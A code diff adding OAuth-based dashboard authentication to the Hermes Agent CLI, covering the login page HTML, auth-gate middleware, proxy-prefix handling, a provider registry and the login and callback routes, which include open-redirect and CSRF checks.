+    letter-spacing: 0.32em;
+    text-transform: uppercase;
+    color: var(--midground);
+  }}
+  .brand .dot {{
+    display: inline-block;
+    width: 6px;
+    height: 6px;
+    background: var(--midground);
+    margin: 0 0.55em 0.18em;
+    vertical-align: middle;
+    border-radius: 1px;
+  }}
+
+  .card {{
+    position: relative;
+    padding: 2.25rem 2rem 2rem;
+    background: color-mix(in srgb, #ffffff 2%, var(--background-base));
+    border: 1px solid var(--hairline);
+    /* Hairline highlight + bevel shadow — matches DS Button SHADOW_DEFAULT
+       (`inset -1px -1px 0 #00000080, inset 1px 1px 0 #ffffff80`) at panel scale. */
+    box-shadow:
+      inset 1px 1px 0 0 color-mix(in srgb, #ffffff 5%, transparent),
+      inset -1px -1px 0 0 rgba(0, 0, 0, 0.4),
+      0 24px 60px -20px rgba(0, 0, 0, 0.6);
+  }}
+
+  h1 {{
+    margin: 0 0 0.4rem;
+    font-family: 'Rules Compressed', 'Collapse', sans-serif;
+    font-weight: 600;
+    font-size: 1.85rem;
+    letter-spacing: 0.05em;
+    text-transform: uppercase;
+    color: var(--foreground);
+  }}
+
+  .subtitle {{
+    margin: 0 0 1.75rem;
+    color: color-mix(in srgb, var(--foreground) 65%, transparent);
+    font-size: 0.95rem;
+  }}
+
+  .provider-list {{
+    display: grid;
+    gap: 0.75rem;
+  }}
+
+  /* Provider button — mirrors DS Button (default variant):
+     amber surface, dark text, uppercase + wide tracking, inset bevel. */
+  .provider-btn {{
+    display: block;
+    width: 100%;
+    box-sizing: border-box;
+    padding: 0.95rem 1rem;
+    text-align: center;
+    background: var(--midground);
+    color: var(--background-base);
+    font-family: 'Collapse', sans-serif;
+    font-weight: 700;
+    font-size: 0.78rem;
+    letter-spacing: 0.2em;
+    text-transform: uppercase;
+    text-decoration: none;
+    border: 0;
+    border-radius: 0;  /* DS Button is squared — no rounded corners. */
+    cursor: pointer;
+    box-shadow:
+      inset 1px 1px 0 0 rgba(255, 255, 255, 0.5),
+      inset -1px -1px 0 0 rgba(0, 0, 0, 0.5);
+    transition: filter 0.12s ease-out;
+  }}
+  .provider-btn:hover {{
+    filter: brightness(1.08);
+  }}
+  .provider-btn:active {{
+    /* DS Button uses `active:invert` on the default surface. */
+    filter: invert(1);
+  }}
+  .provider-btn:focus-visible {{
+    outline: 2px solid var(--midground);
+    outline-offset: 3px;
+  }}
+
+  footer {{
+    margin-top: 1.75rem;
+    text-align: center;
+    color: color-mix(in srgb, var(--foreground) 45%, transparent);
+    font-size: 0.75rem;
+    letter-spacing: 0.1em;
+    text-transform: uppercase;
+    line-height: 1.7;
+  }}
+  footer .sep {{
+    display: inline-block;
+    width: 1.5rem;
+    height: 1px;
+    background: var(--hairline-strong);
+    vertical-align: middle;
+    margin: 0 0.6em 0.2em;
+  }}
+
+  /* Selection — DS uses midground bg + background text. */
+  ::selection {{
+    background: var(--midground);
+    color: var(--background-base);
+  }}
+</style>
+</head>
+<body>
+<main>
+  <div class="brand">Nous<span class="dot"></span>Research</div>
+  <div class="card">
+    <h1>Sign in</h1>
+    <p class="subtitle">Choose a sign-in method to continue to the Hermes Agent dashboard.</p>
+    <div class="provider-list">
+{provider_buttons}
+    </div>
+  </div>
+  <footer>
+    <span class="sep"></span>Public bind &middot; Auth required<span class="sep"></span>
+  </footer>
+</main>
+</body>
+</html>
+"""
+
+_EMPTY_HTML = """\
+<!doctype html>
+<html lang="en">
+<head>
+<meta charset="utf-8">
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<title>Sign-in unavailable — Hermes Agent</title>
+<style>
+  @font-face {
+    font-family: 'Collapse';
+    font-style: normal;
+    font-weight: 400;
+    font-display: swap;
+    src: url('/fonts/Collapse-Regular.woff2') format('woff2');
+  }
+  @font-face {
+    font-family: 'Rules Compressed';
+    font-style: normal;
+    font-weight: 600;
+    font-display: swap;
+    src: url('/fonts/RulesCompressed-Medium.woff2') format('woff2');
+  }
+  :root {
+    --background-base: #170d02;
+    --midground: #ffac02;
+    --foreground: #ffffff;
+    --hairline: color-mix(in srgb, #ffac02 18%, transparent);
+  }
+  *, *::before, *::after { box-sizing: border-box; }
+  html, body {
+    margin: 0; padding: 0; min-height: 100%;
+    background: var(--background-base);
+    color: var(--foreground);
+    font-family: 'Collapse', system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
+    font-size: 16px; line-height: 1.5;
+    -webkit-font-smoothing: antialiased;
+  }
+  body {
+    display: grid; place-items: center;
+    padding: clamp(1.5rem, 6vh, 6rem) 1.25rem;
+  }
+  main {
+    width: 100%; max-width: 32rem;
+    padding: 2.25rem 2rem;
+    background: color-mix(in srgb, #ffffff 2%, var(--background-base));
+    border: 1px solid var(--hairline);
+    box-shadow:
+      inset 1px 1px 0 0 color-mix(in srgb, #ffffff 5%, transparent),
+      inset -1px -1px 0 0 rgba(0, 0, 0, 0.4),
+      0 24px 60px -20px rgba(0, 0, 0, 0.6);
+  }
+  h1 {
+    margin: 0 0 1rem;
+    font-family: 'Rules Compressed', 'Collapse', sans-serif;
+    font-weight: 600; font-size: 1.5rem;
+    letter-spacing: 0.05em; text-transform: uppercase;
+    color: var(--midground);
+  }
+  p { margin: 0 0 1rem; }
+  code {
+    background: var(--midground);
+    color: var(--background-base);
+    padding: 0.1em 0.35em;
+    font-family: 'Courier New', monospace;
+    font-size: 0.9em;
+  }
+</style>
+</head>
+<body>
+<main>
+<h1>Sign-in unavailable</h1>
+<p>This dashboard is bound to a non-loopback host but no authentication
+providers are installed.</p>
+<p>Install <code>plugins/dashboard-auth-nous</code> (default) or another
+auth provider, or restart with <code>--insecure</code> to bypass the
+auth gate (not recommended on untrusted networks).</p>
+</main>
+</body>
+</html>
+"""
+
+
+def render_login_html(*, next_path: str = "") -> str:
+    """Return the full HTML for ``GET /login``.
+
+    ``next_path`` — when set, the post-login landing path the user
+    originally requested. Threaded into each provider button's ``href``
+    as a ``next=`` query parameter so the OAuth round trip carries it
+    end-to-end. The caller (``routes.login_page``) is responsible for
+    validating ``next_path`` against the same-origin rules before we
+    emit it; we still HTML-escape it as defence in depth.
+    """
+    providers = list_providers()
+    if not providers:
+        return _EMPTY_HTML
+
+    if next_path:
+        # URL-encode then HTML-escape. The URL-encode step matches the
+        # gate's ``_safe_next_target`` output shape (also URL-encoded),
+        # so a value that round-tripped from /login?next=... back into
+        # the button href is byte-identical.
+        from urllib.parse import quote
+        next_qs = f"&next={html.escape(quote(next_path, safe=''), quote=True)}"
+    else:
+        next_qs = ""
+
+    buttons = []
+    for p in providers:
+        buttons.append(
+            f'      <a class="provider-btn" '
+            f'href="/auth/login?provider={html.escape(p.name, quote=True)}{next_qs}">'
+            f'Sign in with {html.escape(p.display_name)}</a>'
+        )
+    return _LOGIN_HTML_TEMPLATE.format(provider_buttons="\n".join(buttons))

hermes_cli/dashboard_auth/middleware.py

@@ -0,0 +1,207 @@
+"""Auth-gate middleware for the dashboard.
+
+Engaged when ``app.state.auth_required is True``. The gate's job:
+
+  1. Allow a small set of routes through unauthenticated (login page,
+     ``/auth/*`` OAuth round trip, ``/api/auth/providers``, static
+     assets).
+  2. For everything else, demand a valid session cookie and attach the
+     verified :class:`Session` to ``request.state.session``.
+  3. On HTML routes, redirect missing/invalid cookies to ``/login``.
+     On ``/api/*`` routes, return 401 JSON.
+
+The middleware is a no-op when ``auth_required`` is False (loopback
+mode); the legacy ``_SESSION_TOKEN`` ``auth_middleware`` handles those
+binds.
+"""
+from __future__ import annotations
+
+import logging
+from typing import Awaitable, Callable
+
+from fastapi import Request
+from fastapi.responses import JSONResponse, RedirectResponse, Response
+
+from hermes_cli.dashboard_auth import list_providers
+from hermes_cli.dashboard_auth.audit import AuditEvent, audit_log
+from hermes_cli.dashboard_auth.base import ProviderError
+from hermes_cli.dashboard_auth.cookies import read_session_cookies
+
+_log = logging.getLogger(__name__)
+
+# Paths that bypass the auth gate. Order matters: prefix match.
+_GATE_PUBLIC_PREFIXES: tuple[str, ...] = (
+    "/auth/login",
+    "/auth/callback",
+    "/auth/logout",
+    "/login",
+    "/api/auth/providers",
+    "/assets/",
+    "/favicon.ico",
+    "/ds-assets/",
+    "/fonts/",
+    "/fonts-terminal/",
+)
+
+
+def _path_is_public(path: str) -> bool:
+    return any(
+        path == prefix or path.startswith(prefix)
+        for prefix in _GATE_PUBLIC_PREFIXES
+    )
+
+
+def _client_ip(request: Request) -> str:
+    fwd = request.headers.get("x-forwarded-for", "")
+    if fwd:
+        return fwd.split(",")[0].strip()
+    return request.client.host if request.client else ""
+
+
+def _unauth_response(request: Request, *, reason: str) -> Response:
+    """API routes → 401 JSON with ``login_url``; HTML routes → 302 → /login.
+
+    The JSON envelope carries a ``login_url`` field with a ``next=`` query
+    string so the SPA's global 401 handler can drop the user back where
+    they were after re-auth. The contract is intentionally simple so any
+    fetch-wrapper can implement the redirect without parsing details:
+
+        if response.status === 401 && body.error in ("unauthenticated",
+                                                       "session_expired"):
+            window.location.assign(body.login_url);
+
+    HTML redirects also carry the ``next=`` query string so direct
+    navigation to ``/sessions`` (etc.) without a cookie comes back to
+    ``/sessions`` after login.
+
+    Under a reverse proxy with ``X-Forwarded-Prefix: /hermes``, the
+    ``login_url`` is prefixed (``/hermes/login?next=...``) so the
+    browser's window.location.assign / Location: follow lands on the
+    proxied login page rather than the bare ``/login`` (which the
+    proxy doesn't route to the dashboard).
+    """
+    from hermes_cli.dashboard_auth.prefix import prefix_from_request
+
+    path = request.url.path
+    next_param = _safe_next_target(request)
+    prefix = prefix_from_request(request)
+    login_url = (
+        f"{prefix}/login?next={next_param}" if next_param
+        else f"{prefix}/login"
+    )
+
+    if path.startswith("/api/"):
+        # API routes never get redirects: the browser fetch() API would
+        # follow a 302 into the cross-origin OAuth dance opaquely. Return
+        # 401 with a structured envelope so the SPA can full-page-navigate
+        # to login_url.
+        error_code = (
+            "session_expired"
+            if reason == "invalid_or_expired_session"
+            else "unauthenticated"
+        )
+        return JSONResponse(
+            {
+                "error": error_code,
+                "detail": "Unauthorized",
+                "reason": reason,
+                "login_url": login_url,
+            },
+            status_code=401,
+        )
+    return RedirectResponse(url=login_url, status_code=302)
+
+
+def _safe_next_target(request: Request) -> str:
+    """Build the URL-encoded ``next`` query value, or empty string.
+
+    Only same-origin relative paths are accepted; absolute URLs or
+    ``//evil.com`` open-redirect attempts are silently dropped. The empty
+    string return means the caller produces a bare ``/login`` URL — fine,
+    user lands at the dashboard root after re-auth.
+    """
+    path = request.url.path
+    # Reject anything that doesn't start with "/" or starts with "//"
+    # (protocol-relative URL — would open-redirect to an attacker host).
+    if not path or not path.startswith("/") or path.startswith("//"):
+        return ""
+    # Don't redirect back to the auth routes themselves — that loops.
+    if any(
+        path == p or path.startswith(p)
+        for p in ("/login", "/auth/", "/api/auth/")
+    ):
+        return ""
+    # Preserve query string if present (e.g. /sessions?page=2).
+    query = request.url.query
+    target = f"{path}?{query}" if query else path
+    # urlencode the whole thing as a single value.
+    from urllib.parse import quote
+    return quote(target, safe="")
+
+
+async def gated_auth_middleware(
+    request: Request,
+    call_next: Callable[[Request], Awaitable[Response]],
+) -> Response:
+    """Engaged only when ``app.state.auth_required is True``.
+
+    No-op pass-through in loopback mode so the legacy auth_middleware can
+    handle those binds via ``_SESSION_TOKEN``.
+    """
+    if not getattr(request.app.state, "auth_required", False):
+        return await call_next(request)
+
+    path = request.url.path
+    if _path_is_public(path):
+        return await call_next(request)
+
+    at, _rt = read_session_cookies(request)
+    if not at:
+        return _unauth_response(request, reason="no_cookie")
+
+    # Try every registered provider's verify_session in turn. Providers
+    # MUST return None for tokens they don't recognise (not raise). This
+    # lets multiple providers stack — the first one that recognises a
+    # token wins.
+    session = None
+    for provider in list_providers():
+        try:
+            session = provider.verify_session(access_token=at)
+        except ProviderError as e:
+            _log.warning(
+                "dashboard-auth: provider %r unreachable during verify: %s",
+                provider.name, e,
+            )
+            audit_log(
+                AuditEvent.SESSION_VERIFY_FAILURE,
+                provider=provider.name,
+                reason="provider_unreachable",
+                ip=_client_ip(request),
+            )
+            return JSONResponse(
+                {"detail": f"Auth provider {provider.name!r} unreachable"},
+                status_code=503,
+            )
+        if session is not None:
+            break
+
+    if session is None:
+        audit_log(
+            AuditEvent.SESSION_VERIFY_FAILURE,
+            reason="no_provider_recognises",
+            ip=_client_ip(request),
+        )
+        response = _unauth_response(request, reason="invalid_or_expired_session")
+        # Clear the dead cookie so the browser doesn't keep sending it.
+        # Contract v1: no refresh token to retry with, so the only correct
+        # next step is full re-auth via /login. Importing locally avoids a
+        # cycle with cookies → middleware at module load. Pass the active
+        # prefix so the deletion's Path matches the set-Path (otherwise
+        # the browser ignores it).
+        from hermes_cli.dashboard_auth.cookies import clear_session_cookies
+        from hermes_cli.dashboard_auth.prefix import prefix_from_request
+        clear_session_cookies(response, prefix=prefix_from_request(request))
+        return response
+
+    request.state.session = session
+    return await call_next(request)

hermes_cli/dashboard_auth/prefix.py

@@ -0,0 +1,157 @@
+"""Helpers for X-Forwarded-Prefix support.
+
+Mission-control style deploys reverse-proxy the dashboard at a path
+prefix (e.g. ``mission-control.tilos.com/hermes/*`` -> dashboard on
+:9119), injecting ``X-Forwarded-Prefix: /hermes`` so the backend can
+reconstruct prefixed URLs (Location: headers, OAuth redirect_uri,
+cookie Path attributes, SPA asset URLs).
+
+This module is also the home of the ``HERMES_DASHBOARD_PUBLIC_URL`` /
+``dashboard.public_url`` resolution — when the operator declares a
+complete public URL (scheme + host + optional path prefix), we use
+that directly for the OAuth ``redirect_uri`` and skip the
+X-Forwarded-Prefix reconstruction. Relief valve for deploys where the
+proxy header chain isn't reliable.
+
+The single source of truth for both helpers lives here so the gate
+middleware, the OAuth routes, the cookie helpers, and the SPA mount
+all agree on validation rules.
+"""
+from __future__ import annotations
+
+import logging
+import os
+import urllib.parse
+from typing import Optional
+
+_log = logging.getLogger(__name__)
+
+# Characters that, if present in a public_url or prefix value, indicate
+# either a typo or a header-injection attempt. Reject the whole value
+# rather than try to sanitise — the operator can fix their config.
+_REJECT_CHARS = frozenset(('"', "'", "<", ">", " ", "\n", "\r", "\t"))
+
+
+def normalise_prefix(raw: Optional[str]) -> str:
+    """Normalise an X-Forwarded-Prefix header value.
+
+    Returns a string like ``"/hermes"`` (no trailing slash) or ``""``
+    when no prefix is set / the header is malformed. We deliberately
+    reject anything containing ``..`` or non-printable bytes so a
+    hostile proxy can't inject HTML or path-traversal sequences via the
+    prefix.
+    """
+    if not raw:
+        return ""
+    p = raw.strip()
+    if not p:
+        return ""
+    if not p.startswith("/"):
+        p = "/" + p
+    p = p.rstrip("/")
+    if (
+        "//" in p
+        or ".." in p
+        or any(c in p for c in _REJECT_CHARS)
+    ):
+        return ""
+    if len(p) > 64:
+        return ""
+    return p
+
+
+def prefix_from_request(request) -> str:
+    """Convenience wrapper that reads the header off a Starlette/FastAPI
+    Request and normalises it. Returns ``""`` when no prefix.
+    """
+    return normalise_prefix(request.headers.get("x-forwarded-prefix"))
+
+
+# ---------------------------------------------------------------------------
+# HERMES_DASHBOARD_PUBLIC_URL / dashboard.public_url
+# ---------------------------------------------------------------------------
+
+
+def _normalise_public_url(raw: Optional[str]) -> str:
+    """Normalise a ``dashboard.public_url`` value.
+
+    Returns the cleaned URL (scheme://netloc[/path], trailing slash
+    removed) on success, or ``""`` when the value is empty, malformed,
+    or contains characters that suggest header injection. The caller
+    must treat ``""`` as "fall back to request reconstruction" — never
+    as "the user explicitly chose no public URL", because the two are
+    indistinguishable from an empty env var.
+    """
+    if not raw:
+        return ""
+    url = raw.strip()
+    if not url:
+        return ""
+    # Reject control / quote / whitespace characters before trying to
+    # parse — urlparse is permissive enough to accept some hostile
+    # values (e.g. embedded newlines) and we want a hard "no" rather
+    # than a soft "maybe".
+    if any(c in url for c in _REJECT_CHARS):
+        return ""
+    try:
+        parsed = urllib.parse.urlparse(url)
+    except ValueError:
+        return ""
+    if parsed.scheme not in {"http", "https"}:
+        return ""
+    if not parsed.netloc:
+        return ""
+    # Strip a single trailing slash so callers can append paths without
+    # producing ``//`` double-slashes.
+    return url.rstrip("/")
+
+
+def _load_dashboard_section() -> dict:
+    """Return the ``dashboard`` block from ``config.yaml`` if it exists
+    and is a dict; otherwise an empty dict.
+
+    Robust to (a) load_config() raising (malformed YAML, IO error,
+    config.yaml absent), and (b) ``dashboard`` being absent or non-dict.
+    Both shapes fall through to ``{}`` so the caller can rely on
+    ``.get(...)`` access.
+    """
+    try:
+        from hermes_cli.config import load_config
+    except Exception:
+        return {}
+    try:
+        cfg = load_config()
+    except Exception as exc:  # noqa: BLE001 — broad catch is intentional
+        _log.debug(
+            "dashboard-auth.prefix: load_config() raised %s; "
+            "falling back to env-only configuration",
+            exc,
+        )
+        return {}
+    section = cfg.get("dashboard") if isinstance(cfg, dict) else None
+    return section if isinstance(section, dict) else {}
+
+
+def resolve_public_url() -> str:
+    """Resolve the operator-declared dashboard public URL.
+
+    Precedence (mirrors ``dashboard.oauth.client_id``):
+
+      1. ``HERMES_DASHBOARD_PUBLIC_URL`` env var (when non-empty after
+         strip — empty values are treated as unset so a provisioned-but-
+         not-populated Fly secret can't shadow a valid config.yaml entry).
+      2. ``dashboard.public_url`` in ``config.yaml``.
+      3. Empty string — signals "no override, reconstruct from request"
+         to the caller.
+
+    Each candidate value is run through :func:`_normalise_public_url`.
+    A malformed env var falls through to the config.yaml entry; a
+    malformed config entry falls through to ``""``. This means a typo
+    in one surface doesn't prevent the other from working.
+    """
+    env_raw = os.environ.get("HERMES_DASHBOARD_PUBLIC_URL", "")
+    env_clean = _normalise_public_url(env_raw)
+    if env_clean:
+        return env_clean
+    cfg_raw = _load_dashboard_section().get("public_url", "")
+    return _normalise_public_url(str(cfg_raw))

hermes_cli/dashboard_auth/registry.py

@@ -0,0 +1,58 @@
+"""Module-level registry for DashboardAuthProvider instances.
+
+Plugins call ``register_provider`` via the plugin context hook at startup.
+The auth gate middleware iterates ``list_providers()`` and uses
+``get_provider`` to dispatch on the session's ``provider`` field.
+"""
+from __future__ import annotations
+
+import logging
+import threading
+from typing import List, Optional
+
+from hermes_cli.dashboard_auth.base import (
+    DashboardAuthProvider,
+    assert_protocol_compliance,
+)
+
+_log = logging.getLogger(__name__)
+_lock = threading.Lock()
+_providers: dict[str, DashboardAuthProvider] = {}
+
+
+def register_provider(provider: DashboardAuthProvider) -> None:
+    """Register a provider.
+
+    Raises:
+        TypeError: on protocol violation.
+        ValueError: if a provider with the same name is already registered.
+    """
+    assert_protocol_compliance(type(provider))
+    with _lock:
+        if provider.name in _providers:
+            raise ValueError(
+                f"dashboard-auth provider already registered: {provider.name!r}"
+            )
+        _providers[provider.name] = provider
+    _log.info(
+        "dashboard-auth: registered provider %r (%s)",
+        provider.name, provider.display_name,
+    )
+
+
+def get_provider(name: str) -> Optional[DashboardAuthProvider]:
+    """Return the registered provider for ``name``, or None if unknown."""
+    with _lock:
+        return _providers.get(name)
+
+
+def list_providers() -> List[DashboardAuthProvider]:
+    """All registered providers, in registration order."""
+    with _lock:
+        return list(_providers.values())
+
+
+def clear_providers() -> None:
+    """Test-only: drop all registrations."""
+    with _lock:
+        _providers.clear()

hermes_cli/dashboard_auth/routes.py

@@ -0,0 +1,456 @@
+"""HTTP routes for the dashboard-auth OAuth round trip.
+
+Mounted at root (no prefix) by ``web_server.py``. The router does not
+auto-gate; gating is performed by ``gated_auth_middleware``, which
+allowlists everything under ``/auth/*`` and ``/api/auth/providers``.
+
+The routes:
+
+  GET  /login              → server-rendered login page
+  GET  /auth/login?provider=N → 302 to IDP, sets PKCE cookie
+  GET  /auth/callback?code,state → completes login, sets session cookies
+  POST /auth/logout        → clears cookies, best-effort revoke
+  GET  /api/auth/providers → list registered providers (login bootstrap)
+  GET  /api/auth/me        → current Session as JSON (auth-required)
+"""
+from __future__ import annotations
+
+import logging
+import time
+from typing import Any
+
+from fastapi import APIRouter, HTTPException, Request
+from fastapi.responses import HTMLResponse, JSONResponse, RedirectResponse
+
+from hermes_cli.dashboard_auth import (
+    get_provider,
+    list_providers,
+)
+from hermes_cli.dashboard_auth.audit import AuditEvent, audit_log
+from hermes_cli.dashboard_auth.base import (
+    InvalidCodeError,
+    ProviderError,
+)
+from hermes_cli.dashboard_auth.cookies import (
+    clear_pkce_cookie,
+    clear_session_cookies,
+    detect_https,
+    read_pkce_cookie,
+    read_session_cookies,
+    set_pkce_cookie,
+    set_session_cookies,
+)
+from hermes_cli.dashboard_auth.login_page import render_login_html
+
+_log = logging.getLogger(__name__)
+
+router = APIRouter()
+
+
+def _redirect_uri(request: Request) -> str:
+    """Reconstruct the absolute callback URL the IDP redirects back to.
+
+    Three resolution tiers:
+
+      1. ``HERMES_DASHBOARD_PUBLIC_URL`` env var or
+         ``dashboard.public_url`` in config.yaml — when set, this is
+         the complete authority (scheme + host + optional path prefix)
+         and we append ``/auth/callback`` verbatim. ``X-Forwarded-Prefix``
+         is IGNORED on this code path because the operator has declared
+         the public URL — we no longer need to guess from proxy headers,
+         and stacking the prefix on top would double-prefix the common
+         case where the prefix is already baked into ``public_url``.
+         Relief valve for deploys behind reverse proxies whose forwarded
+         headers aren't reliable.
+
+      2. ``X-Forwarded-Prefix: /hermes`` (Mission Control deploys) — we
+         prepend the prefix to the path FastAPI's ``url_for`` produces
+         (it doesn't natively honour this header — it isn't part of the
+         Starlette/uvicorn proxy_headers set).
+
+      3. Bare ``request.url_for("auth_callback")`` — under uvicorn's
+         ``proxy_headers=True`` this picks up the public https URL from
+         ``X-Forwarded-Host`` plus ``X-Forwarded-Proto``. Fly.io's
+         default path.
+    """
+    from urllib.parse import urlparse, urlunparse
+
+    from hermes_cli.dashboard_auth.prefix import (
+        prefix_from_request,
+        resolve_public_url,
+    )
+
+    # Tier 1: operator-declared public URL.
+    public_url = resolve_public_url()
+    if public_url:
+        # ``public_url`` is the complete authority (possibly with a
+        # path prefix already baked in). Append the auth callback path
+        # verbatim. ``resolve_public_url`` already stripped any trailing
+        # slash so we don't produce ``//auth/callback`` double-slashes.
+        return f"{public_url}/auth/callback"
+
+    # Tier 2 + 3: reconstruct from the request URL, optionally with
+    # X-Forwarded-Prefix layered on top of the path.
+    base = str(request.url_for("auth_callback"))
+    prefix = prefix_from_request(request)
+    if not prefix:
+        return base
+    parsed = urlparse(base)
+    return urlunparse(parsed._replace(path=f"{prefix}{parsed.path}"))
+
+
+def _client_ip(request: Request) -> str:
+    fwd = request.headers.get("x-forwarded-for", "")
+    if fwd:
+        return fwd.split(",")[0].strip()
+    return request.client.host if request.client else ""
+
+
+def _prefix(request: Request) -> str:
+    """Resolve the X-Forwarded-Prefix header for the active request.
+
+    Local indirection so the routes pass a consistent value to the
+    cookie helpers (cookie name + Path attribute) and the gate's
+    redirect builders (login_url construction). See
+    ``hermes_cli.dashboard_auth.prefix`` for the normalisation rules.
+    """
+    from hermes_cli.dashboard_auth.prefix import prefix_from_request
+    return prefix_from_request(request)
+
+
+# ---------------------------------------------------------------------------
+# Public: login page (server-rendered HTML, no SPA bundle)
+# ---------------------------------------------------------------------------
+
+
+@router.get("/login", name="login_page")
+async def login_page(request: Request) -> HTMLResponse:
+    # Read the ``next=`` query the gate's ``_unauth_response`` set on
+    # the redirect URL. Validate against the same same-origin rules the
+    # callback applies (defence in depth — the gate already filters,
+    # but /login is reachable directly too).
+    next_path = _validate_post_login_target(
+        request.query_params.get("next", "")
+    )
+    return HTMLResponse(
+        render_login_html(next_path=next_path),
+        headers={"Cache-Control": "no-store, no-cache, must-revalidate"},
+    )
+
+
+# ---------------------------------------------------------------------------
+# Public: provider list for the login-page bootstrap
+# ---------------------------------------------------------------------------
+
+
+@router.get("/api/auth/providers", name="auth_providers")
+async def api_auth_providers() -> Any:
+    providers = list_providers()
+    if not providers:
+        # Q13: fail-closed when zero providers are registered.
+        return JSONResponse(
+            {"detail": "no auth providers registered"},
+            status_code=503,
+        )
+    return {
+        "providers": [
+            {"name": p.name, "display_name": p.display_name}
+            for p in providers
+        ],
+    }
+
+
+# ---------------------------------------------------------------------------
+# Public: OAuth round trip
+# ---------------------------------------------------------------------------
+
+
+@router.get("/auth/login", name="auth_login")
+async def auth_login(request: Request, provider: str, next: str = ""):
+    p = get_provider(provider)
+    if p is None:
+        raise HTTPException(
+            status_code=404,
+            detail=f"Unknown provider: {provider!r}",
+        )
+
+    try:
+        ls = p.start_login(redirect_uri=_redirect_uri(request))
+    except ProviderError as e:
+        audit_log(
+            AuditEvent.LOGIN_FAILURE,
+            provider=provider,
+            reason="provider_unreachable",
+            ip=_client_ip(request),
+        )
+        raise HTTPException(
+            status_code=503,
+            detail=f"Provider unreachable: {e}",
+        )
+
+    audit_log(
+        AuditEvent.LOGIN_START,
+        provider=provider,
+        ip=_client_ip(request),
+    )
+
+    resp = RedirectResponse(url=ls.redirect_url, status_code=302)
+    # Pack the provider name into the PKCE cookie so the callback can
+    # find it without a separate cookie. Provider may or may not have
+    # already included a ``provider=`` segment.
+    pkce = ls.cookie_payload.get("hermes_session_pkce", "")
+    if "provider=" not in pkce:
+        pkce = f"provider={provider};{pkce}" if pkce else f"provider={provider}"
+    # Carry ``next=`` through the round trip in the PKCE cookie. Real
+    # IDPs only echo back ``code`` + ``state`` on the callback URL, so
+    # query-string transport would lose the value — the cookie is the
+    # only server-controlled channel that survives. Validate before we
+    # store it so an attacker who reaches /auth/login directly with
+    # ``next=//evil.example`` can't poison the cookie.
+    safe_next = _validate_post_login_target(next)
+    if safe_next:
+        from urllib.parse import quote
+        pkce = f"{pkce};next={quote(safe_next, safe='')}"
+    set_pkce_cookie(
+        resp, payload=pkce, use_https=detect_https(request),
+        prefix=_prefix(request),
+    )
+    return resp
+
+
+@router.get("/auth/callback", name="auth_callback")
+async def auth_callback(
+    request: Request,
+    code: str = "",
+    state: str = "",
+    error: str = "",
+    error_description: str = "",
+):
+    pkce_raw = read_pkce_cookie(request)
+    if not pkce_raw:
+        audit_log(
+            AuditEvent.LOGIN_FAILURE,
+            reason="missing_pkce_cookie",
+            ip=_client_ip(request),
+        )
+        raise HTTPException(
+            status_code=400,
+            detail="Missing PKCE state cookie",
+        )
+
+    # Parse ``provider=...;state=...;verifier=...;next=...`` — the
+    # ``next`` segment is optional (only present when /auth/login was
+    # given a next= query). All keys live in the same flat namespace;
+    # ``next`` carries a URL-encoded path so it never contains ``;``.
+    parts = dict(
+        seg.split("=", 1) for seg in pkce_raw.split(";") if "=" in seg
+    )
+    provider_name = parts.get("provider", "")
+    expected_state = parts.get("state", "")
+    verifier = parts.get("verifier", "")
+    # Read next= from the cookie ONLY. The IDP doesn't echo next= back
+    # on the callback URL (it only carries ``code`` + ``state``), so any
+    # next= query parameter on the callback URL is attacker-controlled
+    # and MUST be ignored.
+    next_from_cookie = parts.get("next", "")
+
+    p = get_provider(provider_name)
+    if p is None:
+        raise HTTPException(
+            status_code=400,
+            detail=f"Unknown provider in cookie: {provider_name!r}",
+        )
+
+    if error:
+        audit_log(
+            AuditEvent.LOGIN_FAILURE,
+            provider=provider_name,
+            reason="idp_error",
+            error=error,
+            ip=_client_ip(request),
+        )
+        raise HTTPException(
+            status_code=400,
+            detail=f"OAuth error from provider: {error} ({error_description})",
+        )
+
+    if not state or state != expected_state:
+        audit_log(
+            AuditEvent.LOGIN_FAILURE,
+            provider=provider_name,
+            reason="state_mismatch",
+            ip=_client_ip(request),
+        )
+        raise HTTPException(
+            status_code=400,
+            detail="OAuth state mismatch (CSRF check failed)",
+        )
+
+    try:
+        session = p.complete_login(
+            code=code,
+            state=state,
+            code_verifier=verifier,
+            redirect_uri=_redirect_uri(request),
+        )
+    except InvalidCodeError as e:
+        audit_log(
+            AuditEvent.LOGIN_FAILURE,
+            provider=provider_name,
+            reason="invalid_code",
+            ip=_client_ip(request),
+        )
+        raise HTTPException(status_code=400, detail=f"Invalid code: {e}")
+    except ProviderError as e:
+        audit_log(
+            AuditEvent.LOGIN_FAILURE,
+            provider=provider_name,
+            reason="provider_unreachable",
+            ip=_client_ip(request),
+        )
+        raise HTTPException(
+            status_code=503,
+            detail=f"Provider unreachable: {e}",
+        )
+
+    audit_log(
+        AuditEvent.LOGIN_SUCCESS,
+        provider=provider_name,
+        user_id=session.user_id,
+        email=session.email,
+        org_id=session.org_id,
+        ip=_client_ip(request),
+    )
+
+    expires_in = max(60, session.expires_at - int(time.time()))
+    # Honour the ``next=`` value the gate's _unauth_response set in the
+    # /login redirect URL and that /auth/login persisted into the PKCE
+    # cookie. We re-validate against the same-origin rules here — the
+    # cookie is server-set so this is defence in depth, but a regression
+    # that lets attacker-controlled bytes into the cookie would otherwise
+    # produce an open redirect.
+    landing = _validate_post_login_target(next_from_cookie) or "/"
+    resp = RedirectResponse(url=landing, status_code=302)
+    set_session_cookies(
+        resp,
+        access_token=session.access_token,
+        refresh_token=session.refresh_token,
+        access_token_expires_in=expires_in,
+        use_https=detect_https(request),
+        prefix=_prefix(request),
+    )
+    clear_pkce_cookie(resp, prefix=_prefix(request))
+    return resp
+
+
+def _validate_post_login_target(raw: str) -> str:
+    """Return ``raw`` if it's a safe same-origin path, else empty string.
+
+    The ``next`` query param survives a full OAuth round trip — the gate
+    encodes it into the /login redirect, the login page emits it back into
+    /auth/login, and the IDP preserves it across /authorize/callback. We
+    have to re-validate here because the value came back in via the
+    URL (an attacker could craft a /auth/callback URL with their own
+    ``next=https://evil.example``).
+    """
+    if not raw:
+        return ""
+    from urllib.parse import unquote
+    decoded = unquote(raw)
+    if not decoded.startswith("/") or decoded.startswith("//"):
+        return ""
+    # Don't loop back to login pages or auth flow.
+    if any(
+        decoded == p or decoded.startswith(p)
+        for p in ("/login", "/auth/", "/api/auth/")
+    ):
+        return ""
+    return decoded
+
+
+@router.post("/auth/logout", name="auth_logout")
+async def auth_logout(request: Request):
